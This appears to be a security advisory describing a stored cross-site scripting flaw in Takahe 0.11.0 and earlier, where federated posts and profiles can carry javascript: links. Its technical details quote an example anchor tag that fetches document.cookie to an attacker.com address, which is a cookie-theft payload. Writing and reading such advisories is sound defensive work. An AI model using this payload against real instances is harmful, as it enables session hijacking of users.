Description

Takahe through 0.11.0 fails to restrict URL schemes in link hrefs within federated post content and profile summaries, allowing remote actors to inject javascript: links. Attackers can deliver federated content with malicious javascript: hrefs that execute in the instance origin when clicked, enabling session hijacking or impersonation of viewers.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.1",
  "pubDate": "2026-09-14T22:16:59.447Z",
  "pubdate": "2026-09-14T22:16:59.447Z",
  "executiveSummary": "Takahe versions through 0.11.0 contain a critical input validation vulnerability regarding the processing of federated content. The application fails to properly sanitize URL schemes within link attributes (href) found in post content and user profile summaries.\nThis vulnerability is classified as a Cross-Site Scripting (XSS) flaw, allowing remote, unauthenticated actors in the fediverse to inject malicious 'javascript:' URI schemes into federated data.\nThe impact is significant, as successful exploitation results in arbitrary JavaScript execution within the security context of the victim's instance origin. This grants attackers the capability to perform session hijacking, sensitive data exfiltration, or unauthorized actions on behalf of the authenticated user. Because the vulnerability leverages the federated nature of the platform, the attack vector is remote and requires no specific authentication on the target instance by the attacker. Users viewing crafted federated content are at risk of compromise, making this a high-severity threat to instance integrity and user security.",
  "technicalDetails": "The root cause of this vulnerability lies in the improper sanitization of URI schemes within anchor tags rendered from federated content in Takahe versions 0.11.0 and earlier. When the application processes incoming ActivityPub or federated data, it fails to enforce an allow-list of safe URI schemes (such as 'http:' or 'https:').\nBy failing to filter out the 'javascript:' pseudo-protocol, the application allows the insertion of executable code into the Document Object Model (DOM) of the rendered pages. When a user interacts with a link containing a 'javascript:' payload—typically through a standard click event—the browser interprets the URI as a command to execute the embedded code rather than navigating to a destination URL.\nThe attack flow proceeds as follows: First, an attacker constructs a malicious post or profile summary on a remote server that the target Takahe instance ingests via federation. Within the content, the attacker embeds an HTML anchor tag, for example: '<a href=\"javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)\">Click me</a>'. When the target Takahe instance retrieves this federated object, the application stores and renders the malicious href attribute to local users viewing the content.\nBecause the payload is rendered within the origin of the Takahe instance, the JavaScript executes with the same permissions as the victim’s session. This allows for immediate post-exploitation activities, including: 1) Access to sensitive session tokens stored in HttpOnly-omitted cookies or LocalStorage. 2) The execution of privileged actions on behalf of the victim, such as modifying account settings, posting content, or following/unfollowing accounts. 3) Cross-site request forgery (CSRF) style attacks that leverage the user's existing authenticated state to perform administrative or destructive actions.\nThe lack of a strict Content Security Policy (CSP) or robust output encoding during the template rendering phase permits the browser to execute the attacker-supplied script. Given that federated platforms rely on content ingested from untrusted external sources, this flaw represents a significant systemic risk to the security boundary of any Takahe instance."
}